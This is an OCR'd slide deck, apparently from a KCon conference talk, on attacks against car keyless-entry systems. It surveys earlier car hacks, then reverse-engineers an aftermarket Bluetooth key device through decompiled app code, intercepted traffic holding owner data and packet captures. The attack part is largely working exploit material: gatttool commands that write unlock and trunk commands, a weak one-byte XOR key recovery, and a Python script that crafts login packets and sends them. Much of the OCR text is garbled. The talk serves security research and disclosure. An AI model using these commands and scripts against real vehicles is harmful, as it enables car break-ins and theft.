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How the Tesla Model 3 Works without a There’s an App For That: Volvo to Begin
Key or a Fob Selling Cars Without Physical Keys in

2017

FEERUARY 15 2016 AT 10-03 AM BY ALEXANIDER STOKLOSA

SEPTEMBER 13, 2017 AT 2:18 PM BY JORDAN COLSDM
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RKE Keeloqg algorithm cracked (2008)

Passive Keyless entry Keytob Relay attack (2012)

Gone in 60 seconds -- Hijacking with HitagZ2 (2012)

Samy's Rolljam -- Drive it like you hacked it (2015)

BMW ConnectedDrive -- Telematics hacked (2015)

Mitsubishi Outlander WIFI Hacked -- PenlestPartners (2016)

14 vulnerabilities found in BMW-connected cars -- Keenlab (2018) KCon




FhEaE FIHACK — 2015

. Dieter Spaar discovered BMW
ConnectedDrive that allowed him
to remotely open the vehicle's lock

- Simulated a mobile network In a
test environment with OpenBSC

. After triggered by a decrypted
SMS message. The vehicle sent a
simple HIT TP GET request to the
server, th order to retrieve unlock
command
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hEaE FAIHACK — 2016

- Mitsubishi Outlander PHEV
Top Selling hybrid SUV. Control
of the car by WIFI access point

Unique SSID (REMOTEnnaaaa)
Easy to locate on wigle.net. The
Wi-F1 PSK Is too short to crack

Cantrolling protocols are
reverse engineered. JTurn
on/off Air-condition; Heating;
Lights and Alarm !l
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« Keyless Entrance System

» Keyless Engine Start/Stop
 Bluetooth Low Energy 4

« Auto Lock/Unlock Function

» Mobile as Key (Android; Iphone)
« Remote Keys Sharing (20 Users)

KCon



SRR

(=]
—

e L TN 1 I

KCon




LZARECXI

L] (g2

Joapliet 8 : icatl Anmi-K Unlock the car with
ami i e Key Duplicating Anmi-Key Activate the Anmi-Key i

assemble

Registering Anmi-Key
to the Car O n
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TZAXRAER3
« BTLE-Module(CC2640)tocommunicate

with mobile APP through 2.4ghz
o RF-Module(NXP-61X0915) Emits unlock/lock cmd to

the vehicle. RF-module vary from different car models
« BTLE-Module (SYD8801) sensor. 2.4GHz BTLE SOC 32-
bit ARM Cortex-MO. Functionality unknown-?
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SYDEED] Product Da

Lowr Power Bluetooth 4.0 Single Me

2.3 Pin Assignment and Signal Description

Figure X Fin Configuration \ s : KCO I I
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Oscillator: 13.560Mhz

—

e e e W AR S

Math: o]

13.560MHz / 8000 = 1695hz e

13.560MHz * 32 = 433.92Mhz AL
= )

KCon




SDR-HackRF

KCon




SDR-GQRX

i
—

o o

¥ .‘.-.-"r'l'\-\.n,,l.-._,-\_'\._n_'--—u“ e, -_"-*H\*\-_.\_.._,‘._. AP T L

1
" ‘ ]
Fae e = ..I-.H.--Iq. e e e S e v‘hﬁ-ﬁ"!---"up- L : }
T 5 432 7em £33N -

KCon




O3z

o049 1N ] = T 0052

] -l

MCBOG1 2% It UUID: ADDO Device: MCE0S122DE96EE Jevice: MCBOS122DG9BEE

1art

Battery Service

LG ox180F

PRIMARY SERVICE

Unknawn Service
o AQOD

PRIMARY SERVICE

Unknawn Service
O ADDT

PRIMARY SERVICE

Unknown Service

PRIMARY 5

| PunchThrough ../ PunchThrough =] - KCO n




root@kali:~# gatttool -b bB:91:22:D6:96:EE -1
[b0:91:22:D06:96:EE] [LE]> connect

Attempting to connect to bB:91:22:D6:96:EE
Connection successful

106:91:22:

06:96:EE] [LE]> primary

attr handle:
attr handle;:
attr handle:
attr handle:
attr handle:

GxoeBl,
Gx0ee8,
gx0en9,
axoeef,
ex0013,

. Bx0017,

b "

end grp
end grp
end grp
end grp
end grp

grp

handle:
handle:
handle:
handle:
handle:
handle:

0x0087
ox00e8
oxgoee
Ox0012
Ox0016
Oxfrff

characteristics

uuid:
uulid:
uuid:
uuid:
uuid:
uuid:

6E001860-0000-1006-8000 -
60001801-0000-10068-8000 -
000180 -0000- 1060 -8000 -
00005000 -0000- 1060-8000 -
0000aD061-0000-1000-8000 -
fooeffco-0451-4080-bDoo-

08EO5T9b347D
06B0579b347D
08B805f9b341h
06805f9b341h
0e805T9b341h
0000ARSSEEED

-6008-00805T9L241h
-8008 -0080579b347h
-8006-0680579b341h
-8006-06805T9b3410
-8000-08805T9b34Th
-8000 -0880579b34Th
-bboo -080060060060
-booe -0e8080AETU0BE
-b06e - ASHEB0B D000

: DxBp02,
: Dx0R04,
: BXOROO,
1 Bx0R0a,
: Oxeele,
: Bx8pl4,
handle: 9x8818,

properties: 0x62, char value handle: 0x€003, uyid: 00002a0E-0000-
properties: 0x82, char value handle: 9x8005, Auid: 00002a01-0000-
properties: @x62, char value handle: ©xg007; uuld: 6POE2aG4-0000-
properties: 6x12, char value handle: @x@@ekt, uuid: 60062alS-0000-
properties: @x@a, char value handle: 9x8011, uuld: 980020aE-0000-
properties: 8x@a, char value handle:; 9x@015, uuid: 8806a0b1-0000-
properties: 8xlc, char value handle: 9x8019, wuid: foeeffcl-0451-
handle: 8x68lc, properties: 8xlc, char value handle: 0xe8ld, uuld:; foPBffcZ-B8451-
handle: 8x8828, properties: 8x6c, char value handle: 0x8621, uuid: T8@Affc3-0451-
[bB:91:22:D6:96:EE] [LE]=>

KCon




Scerce Dt bz

TexasIns d5:95: HuaweiTe ac:i

Hueweile sc:b2:75 Texasins_db:9h:e

HuaweiTe ac

HuzseiTa 2 e TexasIns dh:96:a

Ins

HuawelTe_ac:

Texasins_db:t

Huaweile ac

[=-]
e
]

[ ]

L= E}

[
LA |

Hugueile =

SR = Y
L,
5]

Texaslng

HuzselTe =

11 bytes on wire (B8 bits),

Elwotooth HCI HA
ooth HCI ACL Packet

Write Response, Handle: Bx@@11 (Unknown: Unknown)

u

Read Request, Handle: ax@dll (Unknown: Unknown)

Vi Read Response ] 1 {(Unknown: Onkn

krite Regu
Write Re

d Read Response, Hamdle:
[ Read Request, Hamdle: ox
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package cn.mucang.android.ble.utils;

public class e
“{
public static String a(String paramString)
{
if (paramString != null)
{

String str = paramString.toLowerCase();

if ((str.length() == 4) && (!str.startsWith("e@ee")) && (!str.endsWith("-0060-10008-8200-008857f9b34fb"))) {
paramString = "eee0" + str + "-0000-1000-8000-00885F5b34fb";

¥

do

{
return paramstring;
if ((str.length() != 36) || (!str.startsWith("eeee"))) {

break;

}
paramsString = str;

} while (str.endsWith("-eeee-1000-80e0-20805fcb34fb"));

if ((str.startsWith("eeee")) && (!str.endsWith("-eee8-18080-8668-00825f9b34fb"))) {
return str + "-2000-1000-8000-06805F5b34Fb";

}

if ((str.endsWith("-000¢-1000-3000-00805Ff9b34fb")) && (!str.startsWith("eee0"))) {
return "0022" + str;

}

return ""; KCO n

d




n.mucang.android.core.ui.c.a(" i |

private wvoid c(String paramstring)

{
paramString = new Intent("cn.mucang.android.account.ACTION_SSO_LOGIN_SUCCESS");

cn.mucang.android.core.config.h.b().sendBroadcast(paramstring);

object localobject = paramactiwvity;
if (paramactivity == null) {
localobject = cn.mucang.android.core.config.h.k(
)
i
if (localobject == nully— ———
i £
i.e("hadeslas"™, .
return;
¥
paramActivity = new Intent((Context)localObject, UpdateInfoActivity.class);
paramActivity.putExtra("__update info_ ", paramCheckUpdateInfo);
((Context)localobject).startactivity(paramactivity);
return;

. & (e =" 1 c Ak m - &2 1

AEFRHEXASBRHEERER, LRI TERIGE

public class j
extends a

public CommonResponse a(String paramStringl, String paramString

{
ArrayList localArraylList = new Arraylist();
localArrayList.add{new d( sername”, paramStringl));
localArraylList.add(new d{"pas » paramstring2));
return (CommonResponse)al"” nfuser/login-stepl.htm", lo

}

protected string a() Compa ny internal

Login system KCon

public CommonResponse b(String paramStringl, String paramString
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Request
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ZKAPP

2018-087-20 05:18:30 POST http://115.29.184.230/api/open/register.htm? platform=android& srv=t& appName=qicheyaokongqi& product=%ES%AERE89%ET7%B1%B3%EG%S
9%BA%ER%B3I%BDREY%92%AS%ES..,
~ 200 OK application/json 1.85k 648ms

Response Detail
User-Agent: Mozilla/5.8 (Linux; Android 4.4.4; Chel-CL10® Build/Chel-CL10) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.8 Chrome/33.0.8.8
Mobile Safari/537.36
Accept-Encoding: gzip
Accept-Encoding: tnpnd
Content-Type: application/x-www-form-urlencoded
Content-Length: 1691
Host: rcc. kakamobi.com
Connection: Keep-Alive
token: 481cf7064f814bbdab3bBab3e6fBadc2
mac: BO:91:22:D6:96:EE
uuid: 80665CBC-8207 -4FAC-96E3-A190DD30BBAF
carSeriesName: YE
cariName: *xH
carseriesld: 139
carlLogoUrl: http://cartype-image.mucang.cn/cartype-logo/2016/18/24/15/317eed6a86204a81a6387159a25d40d3 315X210.png!218x140
carOwner: T i
idNumber: BY = 2g- 2

phoneNumber: 3173

securityQuestions: [{"answer":"fEE ", "question":"EMF EMEFB? "}, {"answer":"0501", "question": "B B FMHEH R ? ( Me501) "}, {"answer™:"E iR
", "question": "I FRENHRBR? (MER) "}

platform: android

phoneBluetoothAddhess: Bd4:30:52: imkiiieg

phoneMacAddress: 0415050 —

imei:

57480 —————
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RF-F3ias

m[;] O signin News = Sport Weather ~Shop Earth  Travel Sﬁn RT | TVRSHOWBIZ = NEWS = FABULOUS = MONEY =~ MOTORS = TRAVEL ~TECH = DEARDEIDRE = PUZILES | TOPICS A

e Car wash crooks make £20,000 a
' tav by using £500 key fob jammers that leave motors

Home @ Video = Word US&Canada UK @ Business | Tech  Science | Stories | En
unlocked
Engja nd LocalNews  Regions Romanian car wash boss Mario told an undercover Sun reporter he could use the devices 1o steal
phones, laptops and cash
Car key jammers: What you need to know L agn, o

@ 8 December 2016 f © ¥ [ < Share

As reports circulate about tech-savvy thieves using electronic

devices - "key jammers" - to prevent cars ocking, what do
you need to know about this growing crime?

The transmitters, which are easy to buy online, can be used to
' lgnals from keys fobs, meaning unwary motorist
believe their cars to be secure when they're anything but.

This leaves the path clear for thieves to help themselves to your
belongings, and even take the car itself.
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RF-Fiias

HOW GRIMINALS
USE THE DEVIGE

The thief waits
for driver to pull
up and park car

Driver walks away, not
realising their remote
hasn‘t locked car

Thief swoops fo nick
possessions or use
second device to steal
vehicle

Villain uses key fob
blocker to send
jamming signal
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Samy's RollJam

Jam & replay attack
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Y ~ \ jamming signal /
[ |l T receive antenna ' N "
RN ~ réplay antenna \ "
BN "...-.,'.'
" car receive band
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22 KB
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What could possibly go wrong ?
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BTLE—&iRE 3 th

14 ©.489925 lexaslns_db:9b:ee () localhost () Rcvd Read Response, Handle: OX8TTi_(UnNKnNown)
8.412916 localhost () TexasIns d6:96:ee () 9 sent Write Request, Handle: exee11l (

17 ©.587435 TexasIns_d6:96:ee () localhost () ; Write Response, Handle: 8 Unknown)

18 ©.509310 localhost () TexasIns_d6:96:ee () 2 Sent Read Request, Handle: exe981l1 (Unknown)

20 9.604925 TexasIns d6:96:ee () localhost () 1 Rcvd Read Response, Handle: ex 1 (Unknown)

21 ©.620600 localhost () TexasIns d6:96:ee () 2 Sent Write Reguest, Handle: 8x6e11 (Unknown)

~ Bluetooth
[Source: €0:00:00 R:00:00 (©0:00:0 e:e0:00)]
[Destination: TexasIns_d6:96:ee (b0:91:22:d6:96:ee)]
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
~ Bluetooth attribute Protocol
Dpeovhe te—Reaequest (ex12)
Handle: ex©011 (Unknown
value: a7040202000301
e _in Frame: 17

18 ©.589316 localhost () TexasIns_d6:96:ee () 25 Read Reqgle: Handle: @x0811 (Unknown)
20 8.604925 TexasIns _d6:96:ee () localhost () Read Response, : ex0e11 (Unknown)
21 ©.620600 localhost () TexasIns_d6:96:ee () 32 5 i Request, 1 exeell (Unknown)
23 ©.702351 TexasIns_d6:96:ee () localhost () ) Write Response, Handle: e@x@ell (Unknown)
24 ©.705870© localhost () TexasIns_d6:96:ee () 25 Write Request, Handle: exe811l (Unknown)
26 ©.799838 TexasIns d6:96:ee () localhost () ] Write Response, Handle: @x@©11 (Unknown)
Frame 2@: 21 bytes on wire (168 bits), 21 bytes captured (168 bits)
~ Bluetooth
[Source: TexasIns_d6:96:ee (b2:91:22:d6:96:ee) ]
[Destination: ©0:00:00_ 20:00:00 (0P:00:00:20:00:08) ]
Bluetooth HCI H4a
Bluetooth HCI AcCL Packet
Bluetooth L2CAP Protocol
~ Bluetooth i
Opcede: Read Response (exeb)

[Handle: ex@011 (Unknown)]
Value: @9@ecdd7aaftbeoesdose3el K( : : n




BTLE—&iRE 3 th

=rylt fr-d e R (=] 2| ==
= ru i (N i i = Reaq (=] 5, =t

F r-=amne == B = > by ites = > [ B Woin b =B =3 capitur-=d

Eluucsitoaooitih
[ S«cuar-a«-e = 2 T S T e e T e - e (D - D - 2 T S D ey - e ) ]
[IDeaesitidmaltior : Te~asInns_ do - 96 1 e (boar:93 1 22 1 d6a 1 96 1 e ]
Elucstoaooitih (S i = e
BElu=stooith H« T F=N o B Packeit
EBElustooith L 2C.AP Proitocao 1
Bl uactooith Aatitrdadbuouate Protoacol
O oecle = Lt = 3 e R cpuse s i { D> W > D
Hamndl e : L= T = B R e 1 C U kv owrr D
= alaAZTESO F OS2 Faladeea?2aaZ3b 7l o2>292 1 albha

BEluetooth L2CcAP Protocol
Bluetooth Attribute Protocol
Opcode: Write Request (@x12)
Handle: @xeell (Unknown)
value: sefc3elbasaeeaciellszZbacbhbsogseeescssebilie2

Bluetooith LIZ2OCAaAaP Prrotbtocol
~ Bluetooth Attribute Protbtocol
Opcode : i d e Reguesio LS -t
Hamndle : @@l 1 C LIy K ryOowesry D)
Walvie Filiodo FSe=23d1SbESleaAa323I561 30NN DERE F DA 723G

3 —= - -

Bl uaetooith | e = = Prrotocol
Eluctooth At tribute Prr-otocol
O ol e fr—13 T e Regue s i { D21 2> 7
Hamndl < >SS A C Um <rnowsrs )
Ww'all tae FR2IFEeS FAd9 7FA6AS5S A1t a

Harscd 1 = = S TE W

FIiaSmad L& Searga

(=6 bit=)

<
<

ek ry o uesry Dy
e Dy

KCon
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Frame 295
BEluetooth

= = o _UD . J0 . ee | a

localhost () TexasIns_d6:96:ee (MCB.. ATT
localhost () TexasIns_d6:96:ee (MCB.. ATT

: 20 bytes on wire (16 bits), 2@ bytes captured (16@ bits)

[Source: ©9:00:20 PO:00:00 (CO:02:00:00:00:00) |
[Destination: TexasIns _d6:96:ece (b@:91:22:d6:96:ee)]

Bluetooth
Bluetooth
Bluetooth
Bluetooth
Opcoc

HCI HA4

HCI ACL Packet

L2CcAP Protocol
Attribute Protocol
drite Request (@x12)

Hgndle: exee11 (Unknown—trknown)

Value:

Frame 303:

Bluetooth
[Source:
[Destina

cE8es8eaelde3elaa

localhost () TexasIns_d6:96:ee (MCB..
localhost () TexasIns_d6:96:ee (MCB..

28 bytes on wire (16@ bits), 2@ bytes captured (16& bits)

00:00:00_©0:00:00 (P0:00:00:02:20:88) ]
tion: TexasIns d6:96:ee (bB:91:22:d6:96:e2e) ]

Bluetooth HCI Ha

Bluetooth HCI ACL Packet
Bluetooth L2CcAP Protocol
Bluetooth aAttribute Protocol

Opcod
andle:
alue: c
[Resnons

ite Request (Bx12)
exeell (Unknowrm:
20508580a8020155
e i Frame: 3851

= L
2@ Sent Write Request,
20 sent wWrite Request,

20 sent wWrite Request,
20 sent Write Request,

[=

Handle:
Handle:

Handle:
Handle:

axeall
exeall

exeell (|
oxee11l (

1
{
{

KCon



BTLE -- 1st =il

[bB:91:22:D6:96:EE][LE]> connect
Attempting to connect to b0:91:22:D6:96:EE

Connection successful

100:91:22:06:96:EE][LE]> char-write-req 0x11 c80500a0140301aa

Characteristic value was written successfully

[b0:91:22:D6:96:EE][LE]> char-write-req 6x11 c806500500a030155

Characteristic value was written successtully

[b0:91:22:06:96:EE][LE]> char-read-hnd 0x11

Characteristic value/descriptor:

[bB:91:22:D6:96:EE][LE]> KCon
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Unlock Car

Open Trunk

KCon




ublic byte[] toBytes()

{
try

{
byte[] arrayOfBytel = c.a(this.password);
byte[] array0OfByte2 = a.b(this.appUser.getBytes("utf-8"));
byte[] arrayOfByte3 = a.b(this.imei.getBytes("utf-8"});
byte[] arrayOfByte5 = ¢.a(new Date());
int 1 = this.userType;
array0QfByte2 = X@P(array0fBytel);
array0fByte3 = ¥op(array0fByted);
byte[] arrayOfByted = XOB(this.advertisingkey);
array0fByteS = XOE(array0OfBytes);
byte[] arrayOfByteé = XOF(new byte[this.openRssil):
byte[] arrayOfByte7 = Xop(new byte[this.lockRssi]);
arrayOfBytel = encode(new byte[][] { { 1 }, arrayOfBytel, arpdyOfByte2, arrayOfByte3, arrayOfByted, arrayOfByteS, arrayOfByteé, arrayOfByte7 });
return arrayOfBytel;

catch (UnsupportedEncodingException localUnsupportedEncodingException)

{

localUnsupportedEncodingException.printStackTrace();

}

return new byte[8];

}

public String toString()

{

return "LoginRequestPkg_vi1_3{userType=" + this.userType + ", password='" + this.password + '\’ ppu ' is. VYo M, imei="" + this.ime KC : Iﬁ
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Fetch a random values from Anmi-Key (4 bytes)

Calculate EncryptionCode (Random Value; Secret Key)

Wrap up to make an encrypted login packets

Send to Anmi-Key and Log in (Status OxAA)

KCon




byte[] v@ = this.agppConfig.isver("1.3") yoptCode)) : dosi this.encryptcode);
return ve;

public static byte[] a(byte[] args, byte[] arge) {

rgs.length; ++ve) { I- O["]ly 1 byte key I’WEECIEd

int wve;

< arge.length; v2) {
((byte)(args[ve] ~ ar

return args;

Argo 1s a Dword random
v, setAppUser(args.getAppuse )

2. setPassword(angs. getPassword()) ; from fetch random
Ve, setadve eyt . ik dle.makeRandomForadvertisingkey());
if(this.appconfig.isver( ) {

vé.setEncryptCode(args. getsecretey() * argE}ﬂ

2 SecretKey Is a fixed random
ve.setencryptCode(crcls. getInstance().calc(arge)); Dword r_1| u r'T"] be r_ ]Cr(:) r'T"] d EVICE

INnitialization KCOH
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Recover "EncryptCode” with a fixed year data: Ox12

Then You can get:

uchar[16] password Used for crafting
uchar[16] md5_username your own login
uchar[16] md5_imel packet

KCon
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Login Packet:

+0 byte channel OxAlL

+1 short len fixed in 0301: 43 00

+3 short crelb

+5 short protocolver 0301

+ 7 byte usertype

+8 uchar[16] password

+24 uchar[16] enc_md>5_username
+40 uchar[l16] enc_md5_1mei

+56 uchar[6] enc_advertising_key //asc

—
=
—
=

+62 uchar(6] enc_date // YYMMDDHHMMSS What year now 7

+68 uchar enc openr

+69 uchar enc_lockR

public static byte[] a(Date argll) {
Cal ve = (3 r.getInstance();
ve.setTime(argll);
return new byte[]{((byte)(ve.get(1) - 2000)), ((byte)(ve.get(2) + 1)), ((t

KCon

What we need Is to decrypt only 1 byte




Login—lIN&E&E% “YOULOOK
& Illlllﬂllllllls

« -byte of encryption key
+ (£ XOR {ERFMBRINIEEIX
+ PR HUYn BT iR A e IREN

KCon
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as Instruments SmartRF Packet Sniffer Bluetooth Low Energy

Settings Help

Data Heade CAP Heade: ite_Rog
Access Address || Direction || ACK Status _ ey L2 eader i e

‘OxigEsABIR | M-S s . 0 . 0200 0 03 01 0L 7A 1A DE E4 2A 43 B7 19 29 4C 1A BA | \\xBD1BF3

Access Address ACK Status ke M ey
SN MD PDU-Length

0x18ESABIA

Time (us) Data Heads
et Access Address ACK Status a_r = —er PDU-L n
SN MD DU-Lengtt

0Ox18ESABIA
Data Header [ L2CAP Header [ ATT_write_Rsp ||
SN SN MD PDU-Length AP-Length ChanId ||Opcode
0x18ESABIA ! C AD-S || : 1 0 s 0213

Access Address ACK Status

Data Header L2CAP Header
NESN SN MD |L2CAP-Length ChanlId ||Opcode AttHandld AttValue
0x18ESABLA ] AP-S 0 27 |0x0017 0x0004 ||0xl2 0x0011 €0 FC 3E

Access Address ACK Status

Data Header

SN MD

Access Address || Direction || ACK Status

0x18ESABIA S—>M OK

Direction || ACK Status
LLID NESN

Data Header L2CAP Header
SN MD PDU-Length ||L2CAP-Length ChanId
DxlSESABIA || s s || : 3 020004

Access Address ACK Status

I sarapi.—2- 1 =
Data Header L2CAP Header Write_Req

NESN SN MD PO L2CAP-Length ChanId ||Opcode AttHandl ArtValue
Ox18ESABLIA f~>5 d | 020017 020004 || 2 0x0011 BD 51 5B 92 FD D4 74 DC 8F F9 AD F5 D5 CD 5A 4A BF Bl BB BD

Access Address ACK Status

OE 1B 17 SE V- ERONN[NA] 43 00 DD BA 03 01 01 7A 1A DE E4 2A 43 B7 19 29 4C 1A BA F3 1B BD 34 8¢ KCOI l




9 Texas Instruments SmartRF Packet Sniffer Bluetooth Low Energy
File Settings Help
I Jiaen

Time (us) ACK Statu Data Header L2CAP Header
; s
SN MD PDU-Length JL2ZCAP-Length AttValue
1 0 0x000B Ca 05 00 AO 14 03 01 AA

Data Header
|LLID NESN MD PDU-Length

0x18ESABLA
Direction || ACK Status Data Type N Eheee
NESN 5N MD PDU-Length
0x18ESABIA M->§ v Empty EDU . ; 0 :
‘Data Header L2CAP Header
SN MD PDU-Length ||LZCAP-Length Chanld
0x21 | Ox1SESABIAN| S5->M OK 2CAP-§ || ! 1 0 g 0x0001 0x0004 ||0x1: | 0x112850

Channel || Access Address || Direction || ACK Status

Data Header L2CAP Header |l ATT_Read_Req
LLID NESN SN MD ZCAP-Length Chanld |/Opcode AttHandle
2 1 0 7 0x0003 0x0004 ||0x0R  Ox0011 |

Channel || Access Address || Direction || ACK Status
0x0€ || 0x18ESABIR

Data H
Access Address ACK Status e ee

SN MD PDU-Length
0x18E9ABIA

Data Header
Channel || Access Address ACK Status e
SN MD PDU-Length

0xl0 0x18ESABLA
[ Time (us) | N [ | _ | DataHeader || L2CAPHeader | AM ReadRsp ||
A . ____h_l ' Channel || Access Address ACK Status = a_ . — = = P
+230 NESN SN MD FPDU-Length ||[L2ZCAP-Length Chanld |/Opcode AttValue

0x10 || 0x18ESRBIA | s->M 2CAP-S || 2 1 @ 0 10 0x000¢€ 0x0004 ||0x0B 03 00 A0 14 AR

Ti Data Head ' L2CAP Heade! ' ATTWeits._Be e [ RSSI
me (U5) | channel || Access Address ACK Status e - — - o ||
+48523 LLID NESN SN MD FPDU-Length ||[LZCAP-Length Chanld |[Cpcode AttHandlle AttValue { )

1

22045 || 0xl12 Ox18ESABIA {->8 OK L2CAP-5|| 2 1 0 15 0x000B 0x0004 ||0xl2  0Ox0011 C8 05 00 50 OA 03 01 55| OxBNDEE|| -43 || OK K‘ O n




Login—Crafting Packets

def get_enc_ key{ ramndom ffr‘ secret ks)y)-
hex random-random_ str. replace( “*2"") decode “hex™)
len(hex random) - =
“error random kewyl®™
sys.exit()
random__key —©
ol range{&,47) :
random_kew ord(hex random[i])
r‘andnm __key secret__key
random__key
def get_date():
strtime time_strftime('%V—%m—&d—%H—%H—%&',time_localtime(time-time(})}
strtime-strtime.split{"-")

out_date rhr‘(tnt(ﬁtr‘tlrne[ﬂ]) 2000 ) schr{int(strtime[1])}) chr{int{(strtime[2]}) chr{int{(strtime[3]))

out date.encode( "hex")

deyf lala(arg5):
[ = ex1e21;
W args 83
count=7

def make loginlrondom s I'f_",,:JGS'Si-vﬂJ*ﬂer.fﬂrj"_H Ll S &I MMM o 'S Lme i , secrrel  Rey) s
headaer-d1 - "A1438 "
wer-— " a3ad "

user type a1
openrssi "ab "
lock rmssi- "bF"

en__key get  enc  key{random_ str, secret  kew)
Tenc key ds SxTllen kew
tmp-sub packet.decode( "hexx™ )
sub_ packet - " "
== tmp
sub_  packeit chr{ord{aal) en__kewy)
sub packet - sub_  packet.encode "hex™ )

packet wuser__type s password  sub__ packet
crrc—get crclel packet . .decode "heaex"™))
Fimal headerl s crc @ wver @ packei

Fimal Fimal . upper{)

Fimal

chr{int{strtime[4]))

login_pack make_login.make login(random,password,mdS_ user_name,mdS__imei, secret__key)

"login: ™ +login_ pack

len{login_pack)
child.sendline("char-write-req ex11 ":login_pack[:40])
child.sendline{"char-write-req @x11 ":login pack[48:8@7)
child.sendline{"char-write-req ex1i1 "+login_pack[g8©8:128])
child.sendline{"char-write-req @x11 "s+login pack[12&:7])
child.sendline("char-write-req ex11 c80500a0140301laa™)
child.sendline("char-write-req ex11 cSBSﬂBEBﬂaBSBlSS"

N =l T L . . T LI e . e W o a o il il —

chr{int{strtime[5]))

KCon
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